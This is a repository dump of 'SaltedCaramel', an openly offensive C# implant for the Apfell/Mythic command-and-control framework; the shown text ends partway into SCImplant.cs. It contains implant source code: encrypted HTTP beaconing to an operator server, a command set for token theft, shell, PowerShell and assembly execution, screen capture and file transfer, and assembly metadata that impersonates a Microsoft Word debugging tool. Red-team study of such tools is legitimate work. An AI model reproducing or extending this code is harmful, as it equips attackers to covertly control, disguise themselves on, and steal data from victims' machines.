├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── SaltedCaramel.sln ├── SaltedCaramel ├── Caramel.json ├── HTTP.cs ├── Properties │ └── AssemblyInfo.cs ├── SCCrypto.cs ├── SCImplant.cs ├── SCTask.cs ├── SaltedCaramel.cs ├── SaltedCaramel.csproj ├── Tasks │ ├── ChangeDir.cs │ ├── DirectoryList.cs │ ├── Download.cs │ ├── ExecAssembly.cs │ ├── Exit.cs │ ├── Jobs.cs │ ├── Kill.cs │ ├── Powershell.cs │ ├── Proc.cs │ ├── ProcessList.cs │ ├── ScreenCapture.cs │ ├── Shellcode.cs │ ├── Spawn.cs │ ├── Token.cs │ └── Upload.cs ├── Win32 │ ├── advapi32.cs │ ├── kernel32.cs │ └── ntdll.cs ├── app.config └── libs │ ├── Newtonsoft.Json.dll │ └── SharpSploit.dll └── SaltedCaramelTests ├── DispatchTaskTests.cs ├── ImplantTests.cs ├── Properties └── AssemblyInfo.cs ├── SaltedCaramelTests.csproj ├── TaskTests.cs └── packages.config /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | 33 | # Visual Studio 2015/2017 cache/options directory 34 | .vs/ 35 | # Uncomment if you have tasks that create the project's static files in wwwroot 36 | #wwwroot/ 37 | 38 | # Visual Studio 2017 auto generated files 39 | Generated\ Files/ 40 | 41 | # MSTest test Results 42 | [Tt]est[Rr]esult*/ 43 | [Bb]uild[Ll]og.* 44 | 45 | # NUnit 46 | *.VisualState.xml 47 | TestResult.xml 48 | nunit-*.xml 49 | 50 | # Build Results of an ATL Project 51 | [Dd]ebugPS/ 52 | [Rr]eleasePS/ 53 | dlldata.c 54 | 55 | # Benchmark Results 56 | BenchmarkDotNet.Artifacts/ 57 | 58 | # .NET Core 59 | project.lock.json 60 | project.fragment.lock.json 61 | artifacts/ 62 | 63 | # StyleCop 64 | StyleCopReport.xml 65 | 66 | # Files built by Visual Studio 67 | *_i.c 68 | *_p.c 69 | *_h.h 70 | *.ilk 71 | *.meta 72 | *.obj 73 | *.iobj 74 | *.pch 75 | *.pdb 76 | *.ipdb 77 | *.pgc 78 | *.pgd 79 | *.rsp 80 | *.sbr 81 | *.tlb 82 | *.tli 83 | *.tlh 84 | *.tmp 85 | *.tmp_proj 86 | *_wpftmp.csproj 87 | *.log 88 | *.vspscc 89 | *.vssscc 90 | .builds 91 | *.pidb 92 | *.svclog 93 | *.scc 94 | 95 | # Chutzpah Test files 96 | _Chutzpah* 97 | 98 | # Visual C++ cache files 99 | ipch/ 100 | *.aps 101 | *.ncb 102 | *.opendb 103 | *.opensdf 104 | *.sdf 105 | *.cachefile 106 | *.VC.db 107 | *.VC.VC.opendb 108 | 109 | # Visual Studio profiler 110 | *.psess 111 | *.vsp 112 | *.vspx 113 | *.sap 114 | 115 | # Visual Studio Trace Files 116 | *.e2e 117 | 118 | # TFS 2012 Local Workspace 119 | $tf/ 120 | 121 | # Guidance Automation Toolkit 122 | *.gpState 123 | 124 | # ReSharper is a .NET coding add-in 125 | _ReSharper*/ 126 | *.[Rr]e[Ss]harper 127 | *.DotSettings.user 128 | 129 | # JustCode is a .NET coding add-in 130 | .JustCode 131 | 132 | # TeamCity is a build add-in 133 | _TeamCity* 134 | 135 | # DotCover is a Code Coverage Tool 136 | *.dotCover 137 | 138 | # AxoCover is a Code Coverage Tool 139 | .axoCover/* 140 | !.axoCover/settings.json 141 | 142 | # Visual Studio code coverage results 143 | *.coverage 144 | *.coveragexml 145 | 146 | # NCrunch 147 | _NCrunch_* 148 | .*crunch*.local.xml 149 | nCrunchTemp_* 150 | 151 | # MightyMoose 152 | *.mm.* 153 | AutoTest.Net/ 154 | 155 | # Web workbench (sass) 156 | .sass-cache/ 157 | 158 | # Installshield output folder 159 | [Ee]xpress/ 160 | 161 | # DocProject is a documentation generator add-in 162 | DocProject/buildhelp/ 163 | DocProject/Help/*.HxT 164 | DocProject/Help/*.HxC 165 | DocProject/Help/*.hhc 166 | DocProject/Help/*.hhk 167 | DocProject/Help/*.hhp 168 | DocProject/Help/Html2 169 | DocProject/Help/html 170 | 171 | # Click-Once directory 172 | publish/ 173 | 174 | # Publish Web Output 175 | *.[Pp]ublish.xml 176 | *.azurePubxml 177 | # Note: Comment the next line if you want to checkin your web deploy settings, 178 | # but database connection strings (with potential passwords) will be unencrypted 179 | *.pubxml 180 | *.publishproj 181 | 182 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 183 | # checkin your Azure Web App publish settings, but sensitive information contained 184 | # in these scripts will be unencrypted 185 | PublishScripts/ 186 | 187 | # NuGet Packages 188 | *.nupkg 189 | # NuGet Symbol Packages 190 | *.snupkg 191 | # The packages folder can be ignored because of Package Restore 192 | **/[Pp]ackages/* 193 | # except build/, which is used as an MSBuild target. 194 | !**/[Pp]ackages/build/ 195 | # Uncomment if necessary however generally it will be regenerated when needed 196 | #!**/[Pp]ackages/repositories.config 197 | # NuGet v3's project.json files produces more ignorable files 198 | *.nuget.props 199 | *.nuget.targets 200 | 201 | # Microsoft Azure Build Output 202 | csx/ 203 | *.build.csdef 204 | 205 | # Microsoft Azure Emulator 206 | ecf/ 207 | rcf/ 208 | 209 | # Windows Store app package directories and files 210 | AppPackages/ 211 | BundleArtifacts/ 212 | Package.StoreAssociation.xml 213 | _pkginfo.txt 214 | *.appx 215 | *.appxbundle 216 | *.appxupload 217 | 218 | # Visual Studio cache files 219 | # files ending in .cache can be ignored 220 | *.[Cc]ache 221 | # but keep track of directories ending in .cache 222 | !?*.[Cc]ache/ 223 | 224 | # Others 225 | ClientBin/ 226 | ~$* 227 | *~ 228 | *.dbmdl 229 | *.dbproj.schemaview 230 | *.jfm 231 | *.pfx 232 | *.publishsettings 233 | orleans.codegen.cs 234 | 235 | # Including strong name files can present a security risk 236 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 237 | #*.snk 238 | 239 | # Since there are multiple workflows, uncomment next line to ignore bower_components 240 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 241 | #bower_components/ 242 | 243 | # RIA/Silverlight projects 244 | Generated_Code/ 245 | 246 | # Backup & report files from converting an old project file 247 | # to a newer Visual Studio version. Backup files are not needed, 248 | # because we have git ;-) 249 | _UpgradeReport_Files/ 250 | Backup*/ 251 | UpgradeLog*.XML 252 | UpgradeLog*.htm 253 | ServiceFabricBackup/ 254 | *.rptproj.bak 255 | 256 | # SQL Server files 257 | *.mdf 258 | *.ldf 259 | *.ndf 260 | 261 | # Business Intelligence projects 262 | *.rdl.data 263 | *.bim.layout 264 | *.bim_*.settings 265 | *.rptproj.rsuser 266 | *- [Bb]ackup.rdl 267 | *- [Bb]ackup ([0-9]).rdl 268 | *- [Bb]ackup ([0-9][0-9]).rdl 269 | 270 | # Microsoft Fakes 271 | FakesAssemblies/ 272 | 273 | # GhostDoc plugin setting file 274 | *.GhostDoc.xml 275 | 276 | # Node.js Tools for Visual Studio 277 | .ntvs_analysis.dat 278 | node_modules/ 279 | 280 | # Visual Studio 6 build log 281 | *.plg 282 | 283 | # Visual Studio 6 workspace options file 284 | *.opt 285 | 286 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 287 | *.vbw 288 | 289 | # Visual Studio LightSwitch build output 290 | **/*.HTMLClient/GeneratedArtifacts 291 | **/*.DesktopClient/GeneratedArtifacts 292 | **/*.DesktopClient/ModelManifest.xml 293 | **/*.Server/GeneratedArtifacts 294 | **/*.Server/ModelManifest.xml 295 | _Pvt_Extensions 296 | 297 | # Paket dependency manager 298 | .paket/paket.exe 299 | paket-files/ 300 | 301 | # FAKE - F# Make 302 | .fake/ 303 | 304 | # CodeRush personal settings 305 | .cr/personal 306 | 307 | # Python Tools for Visual Studio (PTVS) 308 | __pycache__/ 309 | *.pyc 310 | 311 | # Cake - Uncomment if you are using it 312 | # tools/** 313 | # !tools/packages.config 314 | 315 | # Tabs Studio 316 | *.tss 317 | 318 | # Telerik's JustMock configuration file 319 | *.jmconfig 320 | 321 | # BizTalk build output 322 | *.btp.cs 323 | *.btm.cs 324 | *.odx.cs 325 | *.xsd.cs 326 | 327 | # OpenCover UI analysis results 328 | OpenCover/ 329 | 330 | # Azure Stream Analytics local run output 331 | ASALocalRun/ 332 | 333 | # MSBuild Binary and Structured Log 334 | *.binlog 335 | 336 | # NVidia Nsight GPU debugger configuration file 337 | *.nvuser 338 | 339 | # MFractors (Xamarin productivity tool) working folder 340 | .mfractor/ 341 | 342 | # Local History for Visual Studio 343 | .localhistory/ 344 | 345 | # BeatPulse healthcheck temp database 346 | healthchecksdb 347 | 348 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 349 | MigrationBackup/ 350 | *.cd 351 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 001SPARTaN 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SaltedCaramel 2 | Apfell implant written in C#. SaltedCaramel was rewritten by [@djhohnstein](https://twitter.com/djhohnstein) as [Apollo](https://github.com/MythicAgents/Apollo). His code is better, but I wanted to provide this as a peek behind the curtain into the original project. This was a learning experience, and my first project written in C#. Be gentle. 3 | 4 | **NOTE:** This is no longer compatible with current versions of Mythic. This code will not work anymore, and is provided for reference purposes only. 5 | 6 | ## Usage 7 | **SaltedCaramel.exe** [Apfell server URL] [AES PSK] [Payload UUID] 8 | 9 | ## Supported commands 10 | - **cd** - Change current directory 11 | - **download** - Download file from implant to Apfell server 12 | - **execute-assembly** - Execute a .NET assembly 13 | - **exit** - Exit implant 14 | - **get** - Get a URL 15 | - **kill** - Kill a process 16 | - **upload** - Upload a file from Apfell server to implant 17 | - **post** - Send an HTTP POST request 18 | - **ps** - List processes on the current system 19 | - **ls** - List a directory 20 | - **powershell** - Run a PowerShell command 21 | - **rev2self** - Revert to implant's primary token 22 | - **run** - Execute a binary on the current system 23 | - **screencapture** - Take a screenshot of the current desktop session 24 | - **sleep** - Change the implant's checkin interval 25 | - **steal_token** - Steal a token from a process 26 | -------------------------------------------------------------------------------- /SaltedCaramel.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29424.173 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SaltedCaramel", "SaltedCaramel\SaltedCaramel.csproj", "{D14E4A53-B9B5-4563-8290-BA8487575255}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SaltedCaramelTests", "SaltedCaramelTests\SaltedCaramelTests.csproj", "{809ED12F-0CD3-4F67-82D1-26457773EBC3}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|x64 = Debug|x64 14 | Release|Any CPU = Release|Any CPU 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Debug|x64.ActiveCfg = Debug|x64 21 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Debug|x64.Build.0 = Debug|x64 22 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Release|x64.ActiveCfg = Release|x64 25 | {D14E4A53-B9B5-4563-8290-BA8487575255}.Release|x64.Build.0 = Release|x64 26 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Debug|x64.ActiveCfg = Debug|x64 29 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Debug|x64.Build.0 = Debug|x64 30 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Release|x64.ActiveCfg = Release|x64 33 | {809ED12F-0CD3-4F67-82D1-26457773EBC3}.Release|x64.Build.0 = Release|x64 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {E2E1CB10-BFC7-4815-A2B2-A76B779754B6} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /SaltedCaramel/Caramel.json: -------------------------------------------------------------------------------- 1 | { 2 | "payload_types": [ 3 | { 4 | "wrapper": false, 5 | "command_template": "\n", 6 | "supported_os": "Windows (x64)", 7 | "execute_help": "", 8 | "external": true, 9 | "container_running": false, 10 | "service": "rabbitmq", 11 | "last_heartbeat": "10\/27\/2019 23:07:13", 12 | "ptype": "Caramel", 13 | "file_extension": ".exe", 14 | "wrapped_payload_type": "null", 15 | "icon": null, 16 | "files": [], 17 | "c2_profiles": {}, 18 | "load_transforms": [], 19 | "create_transforms": [], 20 | "commands": [ 21 | { 22 | "needs_admin": false, 23 | "help_cmd": "", 24 | "version": 1, 25 | "is_exit": false, 26 | "is_file_browse": false, 27 | "file_browse_parameters": "*", 28 | "is_process_list": false, 29 | "process_list_parameters": "", 30 | "is_download_file": false, 31 | "download_file_parameters": "*", 32 | "is_remove_file": false, 33 | "remove_file_parameters": "*", 34 | "description": "", 35 | "cmd": "shinject", 36 | "parameters": [], 37 | "attack": [], 38 | "artifacts": [], 39 | "files": [] 40 | }, 41 | { 42 | "needs_admin": false, 43 | "help_cmd": "download [path\/to\/file]", 44 | "version": 1, 45 | "is_exit": false, 46 | "is_file_browse": false, 47 | "file_browse_parameters": "", 48 | "is_process_list": false, 49 | "process_list_parameters": "", 50 | "is_download_file": true, 51 | "download_file_parameters": "", 52 | "is_remove_file": false, 53 | "remove_file_parameters": "", 54 | "description": "Download a file from the remote host.", 55 | "cmd": "download", 56 | "parameters": [], 57 | "attack": [], 58 | "artifacts": [], 59 | "files": [] 60 | }, 61 | { 62 | "needs_admin": false, 63 | "help_cmd": "execute_assembly [path\/to\/assembly.exe]", 64 | "version": 3, 65 | "is_exit": false, 66 | "is_file_browse": false, 67 | "file_browse_parameters": "*", 68 | "is_process_list": false, 69 | "process_list_parameters": "", 70 | "is_download_file": false, 71 | "download_file_parameters": "*", 72 | "is_remove_file": false, 73 | "remove_file_parameters": "*", 74 | "description": "Execute a .NET assembly.", 75 | "cmd": "execute_assembly", 76 | "parameters": [ 77 | { 78 | "type": "String", 79 | "hint": "", 80 | "choices": "", 81 | "required": true, 82 | "name": "file_id" 83 | } 84 | ], 85 | "attack": [], 86 | "artifacts": [], 87 | "files": [] 88 | }, 89 | { 90 | "needs_admin": false, 91 | "help_cmd": "", 92 | "version": 1, 93 | "is_exit": true, 94 | "is_file_browse": false, 95 | "file_browse_parameters": "", 96 | "is_process_list": false, 97 | "process_list_parameters": "", 98 | "is_download_file": false, 99 | "download_file_parameters": "", 100 | "is_remove_file": false, 101 | "remove_file_parameters": "", 102 | "description": "Task the implant to exit.", 103 | "cmd": "exit", 104 | "parameters": [], 105 | "attack": [], 106 | "artifacts": [], 107 | "files": [] 108 | }, 109 | { 110 | "needs_admin": false, 111 | "help_cmd": "kill [pid]", 112 | "version": 2, 113 | "is_exit": false, 114 | "is_file_browse": false, 115 | "file_browse_parameters": "*", 116 | "is_process_list": false, 117 | "process_list_parameters": "", 118 | "is_download_file": false, 119 | "download_file_parameters": "*", 120 | "is_remove_file": false, 121 | "remove_file_parameters": "*", 122 | "description": "Kill a process.", 123 | "cmd": "kill", 124 | "parameters": [ 125 | { 126 | "type": "Number", 127 | "hint": "", 128 | "choices": "", 129 | "required": true, 130 | "name": "pid" 131 | } 132 | ], 133 | "attack": [], 134 | "artifacts": [], 135 | "files": [] 136 | }, 137 | { 138 | "needs_admin": false, 139 | "help_cmd": "ls [path]", 140 | "version": 1, 141 | "is_exit": false, 142 | "is_file_browse": true, 143 | "file_browse_parameters": "", 144 | "is_process_list": false, 145 | "process_list_parameters": "", 146 | "is_download_file": false, 147 | "download_file_parameters": "", 148 | "is_remove_file": false, 149 | "remove_file_parameters": "", 150 | "description": "List a directory.", 151 | "cmd": "ls", 152 | "parameters": [], 153 | "attack": [], 154 | "artifacts": [], 155 | "files": [] 156 | }, 157 | { 158 | "needs_admin": false, 159 | "help_cmd": "powershell [command]", 160 | "version": 1, 161 | "is_exit": false, 162 | "is_file_browse": false, 163 | "file_browse_parameters": "", 164 | "is_process_list": false, 165 | "process_list_parameters": "", 166 | "is_download_file": false, 167 | "download_file_parameters": "", 168 | "is_remove_file": false, 169 | "remove_file_parameters": "", 170 | "description": "Run powershell on the remote host.", 171 | "cmd": "powershell", 172 | "parameters": [], 173 | "attack": [], 174 | "artifacts": [], 175 | "files": [] 176 | }, 177 | { 178 | "needs_admin": false, 179 | "help_cmd": "ps", 180 | "version": 1, 181 | "is_exit": false, 182 | "is_file_browse": false, 183 | "file_browse_parameters": "", 184 | "is_process_list": true, 185 | "process_list_parameters": "", 186 | "is_download_file": false, 187 | "download_file_parameters": "", 188 | "is_remove_file": false, 189 | "remove_file_parameters": "", 190 | "description": "List processes", 191 | "cmd": "ps", 192 | "parameters": [], 193 | "attack": [], 194 | "artifacts": [], 195 | "files": [] 196 | }, 197 | { 198 | "needs_admin": false, 199 | "help_cmd": "rev2self", 200 | "version": 1, 201 | "is_exit": false, 202 | "is_file_browse": false, 203 | "file_browse_parameters": "*", 204 | "is_process_list": false, 205 | "process_list_parameters": "", 206 | "is_download_file": false, 207 | "download_file_parameters": "*", 208 | "is_remove_file": false, 209 | "remove_file_parameters": "*", 210 | "description": "Revert token to implant's primary token.", 211 | "cmd": "rev2self", 212 | "parameters": [], 213 | "attack": [], 214 | "artifacts": [], 215 | "files": [] 216 | }, 217 | { 218 | "needs_admin": false, 219 | "help_cmd": "run [binary] [arguments]", 220 | "version": 1, 221 | "is_exit": false, 222 | "is_file_browse": false, 223 | "file_browse_parameters": "", 224 | "is_process_list": false, 225 | "process_list_parameters": "", 226 | "is_download_file": false, 227 | "download_file_parameters": "", 228 | "is_remove_file": false, 229 | "remove_file_parameters": "", 230 | "description": "Execute a binary on the target system. This will properly use %PATH% without needing to specify full locations.", 231 | "cmd": "run", 232 | "parameters": [], 233 | "attack": [], 234 | "artifacts": [], 235 | "files": [] 236 | }, 237 | { 238 | "needs_admin": false, 239 | "help_cmd": "screencapture", 240 | "version": 1, 241 | "is_exit": false, 242 | "is_file_browse": false, 243 | "file_browse_parameters": "", 244 | "is_process_list": false, 245 | "process_list_parameters": "", 246 | "is_download_file": false, 247 | "download_file_parameters": "", 248 | "is_remove_file": false, 249 | "remove_file_parameters": "", 250 | "description": "Take a screenshot of the current desktop.", 251 | "cmd": "screencapture", 252 | "parameters": [], 253 | "attack": [], 254 | "artifacts": [], 255 | "files": [] 256 | }, 257 | { 258 | "needs_admin": false, 259 | "help_cmd": "shell [command] [arguments]", 260 | "version": 1, 261 | "is_exit": false, 262 | "is_file_browse": false, 263 | "file_browse_parameters": "*", 264 | "is_process_list": false, 265 | "process_list_parameters": "", 266 | "is_download_file": false, 267 | "download_file_parameters": "*", 268 | "is_remove_file": false, 269 | "remove_file_parameters": "*", 270 | "description": "Run a shell command.", 271 | "cmd": "shell", 272 | "parameters": [], 273 | "attack": [], 274 | "artifacts": [], 275 | "files": [] 276 | }, 277 | { 278 | "needs_admin": false, 279 | "help_cmd": "sleep [time]", 280 | "version": 1, 281 | "is_exit": false, 282 | "is_file_browse": false, 283 | "file_browse_parameters": "", 284 | "is_process_list": false, 285 | "process_list_parameters": "", 286 | "is_download_file": false, 287 | "download_file_parameters": "", 288 | "is_remove_file": false, 289 | "remove_file_parameters": "", 290 | "description": "Change the implant's sleep interval.", 291 | "cmd": "sleep", 292 | "parameters": [], 293 | "attack": [], 294 | "artifacts": [], 295 | "files": [] 296 | }, 297 | { 298 | "needs_admin": false, 299 | "help_cmd": "steal_token [pid]", 300 | "version": 1, 301 | "is_exit": false, 302 | "is_file_browse": false, 303 | "file_browse_parameters": "*", 304 | "is_process_list": false, 305 | "process_list_parameters": "", 306 | "is_download_file": false, 307 | "download_file_parameters": "*", 308 | "is_remove_file": false, 309 | "remove_file_parameters": "*", 310 | "description": "Steal a primary token from another process. If no arguments are provided, this will default to winlogon.exe.", 311 | "cmd": "steal_token", 312 | "parameters": [], 313 | "attack": [], 314 | "artifacts": [], 315 | "files": [] 316 | }, 317 | { 318 | "needs_admin": false, 319 | "help_cmd": "", 320 | "version": 3, 321 | "is_exit": false, 322 | "is_file_browse": false, 323 | "file_browse_parameters": "", 324 | "is_process_list": false, 325 | "process_list_parameters": "", 326 | "is_download_file": false, 327 | "download_file_parameters": "", 328 | "is_remove_file": false, 329 | "remove_file_parameters": "", 330 | "description": "Upload a file from the Apfell server to the remote host.", 331 | "cmd": "upload", 332 | "parameters": [ 333 | { 334 | "type": "Number", 335 | "hint": "", 336 | "choices": "", 337 | "required": true, 338 | "name": "file_id" 339 | }, 340 | { 341 | "type": "String", 342 | "hint": "", 343 | "choices": "", 344 | "required": true, 345 | "name": "remote_path" 346 | } 347 | ], 348 | "attack": [], 349 | "artifacts": [], 350 | "files": [] 351 | }, 352 | { 353 | "needs_admin": false, 354 | "help_cmd": "", 355 | "version": 1, 356 | "is_exit": false, 357 | "is_file_browse": false, 358 | "file_browse_parameters": "*", 359 | "is_process_list": false, 360 | "process_list_parameters": "", 361 | "is_download_file": false, 362 | "download_file_parameters": "*", 363 | "is_remove_file": false, 364 | "remove_file_parameters": "*", 365 | "description": "", 366 | "cmd": "cd", 367 | "parameters": [], 368 | "attack": [], 369 | "artifacts": [], 370 | "files": [] 371 | }, 372 | { 373 | "needs_admin": false, 374 | "help_cmd": "", 375 | "version": 1, 376 | "is_exit": false, 377 | "is_file_browse": false, 378 | "file_browse_parameters": "*", 379 | "is_process_list": false, 380 | "process_list_parameters": "", 381 | "is_download_file": false, 382 | "download_file_parameters": "*", 383 | "is_remove_file": false, 384 | "remove_file_parameters": "*", 385 | "description": "", 386 | "cmd": "jobs", 387 | "parameters": [], 388 | "attack": [], 389 | "artifacts": [], 390 | "files": [] 391 | } 392 | ] 393 | } 394 | ] 395 | } -------------------------------------------------------------------------------- /SaltedCaramel/HTTP.cs: -------------------------------------------------------------------------------- 1 | using System.Net; 2 | using System.Text; 3 | 4 | namespace SaltedCaramel 5 | { 6 | public class HTTP 7 | { 8 | private static WebClient client = new WebClient(); 9 | public static SCCrypto crypto = new SCCrypto(); 10 | 11 | public static string Get(string endpoint) 12 | { 13 | return crypto.Decrypt(client.DownloadString(endpoint)); 14 | } 15 | 16 | public static string Post(string endpoint, string message) 17 | { 18 | byte[] reqPayload = Encoding.UTF8.GetBytes(crypto.Encrypt(message)); 19 | 20 | return crypto.Decrypt(Encoding.UTF8.GetString(client.UploadData(endpoint, reqPayload))); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /SaltedCaramel/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DebugAnalysis")] 9 | [assembly: AssemblyDescription("Debug Analysis for Microsoft Word")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft Corporation")] 12 | [assembly: AssemblyProduct("DebugAnalysis")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("d14e4a53-b9b5-4563-8290-ba8487a25fff")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("2.1.0.6")] 36 | [assembly: AssemblyFileVersion("4.0.0.1")] 37 | -------------------------------------------------------------------------------- /SaltedCaramel/SCCrypto.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | 6 | namespace SaltedCaramel 7 | { 8 | public class SCCrypto 9 | { 10 | public byte[] PSK { get; set; } 11 | 12 | internal string Encrypt(string plaintext) 13 | { 14 | using (Aes scAes = Aes.Create()) 15 | { 16 | // Use our PSK (generated in Apfell payload config) as the AES key 17 | scAes.Key = PSK; 18 | 19 | ICryptoTransform encryptor = scAes.CreateEncryptor(scAes.Key, scAes.IV); 20 | 21 | using (MemoryStream encryptMemStream = new MemoryStream()) 22 | using (CryptoStream encryptCryptoStream = new CryptoStream(encryptMemStream, encryptor, CryptoStreamMode.Write)) 23 | { 24 | using (StreamWriter encryptStreamWriter = new StreamWriter(encryptCryptoStream)) 25 | encryptStreamWriter.Write(plaintext); 26 | // We need to send iv:ciphertext 27 | byte[] encrypted = scAes.IV.Concat(encryptMemStream.ToArray()).ToArray(); 28 | // Return base64 encoded ciphertext 29 | return Convert.ToBase64String(encrypted); 30 | } 31 | } 32 | } 33 | 34 | internal string Decrypt(string encrypted) 35 | { 36 | byte[] input = Convert.FromBase64String(encrypted); 37 | 38 | // Input is IV:ciphertext, IV is 16 bytes 39 | byte[] IV = new byte[16]; 40 | byte[] ciphertext = new byte[input.Length - 16]; 41 | Array.Copy(input, IV, 16); 42 | Array.Copy(input, 16, ciphertext, 0, ciphertext.Length); 43 | 44 | using (Aes scAes = Aes.Create()) 45 | { 46 | // Use our PSK (generated in Apfell payload config) as the AES key 47 | scAes.Key = PSK; 48 | 49 | ICryptoTransform decryptor = scAes.CreateDecryptor(scAes.Key, IV); 50 | 51 | using (MemoryStream decryptMemStream = new MemoryStream(ciphertext)) 52 | using (CryptoStream decryptCryptoStream = new CryptoStream(decryptMemStream, decryptor, CryptoStreamMode.Read)) 53 | using (StreamReader decryptStreamReader = new StreamReader(decryptCryptoStream)) 54 | { 55 | string decrypted = decryptStreamReader.ReadToEnd(); 56 | // Return decrypted message from Apfell server 57 | return decrypted; 58 | } 59 | } 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /SaltedCaramel/SCImplant.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using Newtonsoft.Json.Linq; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Diagnostics; 6 | using System.Text; 7 | using System.Threading; 8 | 9 | namespace SaltedCaramel 10 | { 11 | /// 12 | /// Struct for formatting task output or other information to send back 13 | /// to Apfell server 14 | /// 15 | public struct SCTaskResp 16 | { 17 | public string response; 